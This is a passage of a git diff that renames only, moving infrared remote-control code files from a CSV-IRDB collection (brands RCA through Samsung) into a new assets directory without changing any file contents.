a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ReadMe.md b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReadMe.md similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ReadMe.md rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReadMe.md diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Tuner/82,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Controller/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/24,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Runco/Video Projector/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Russound/Music Server/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP 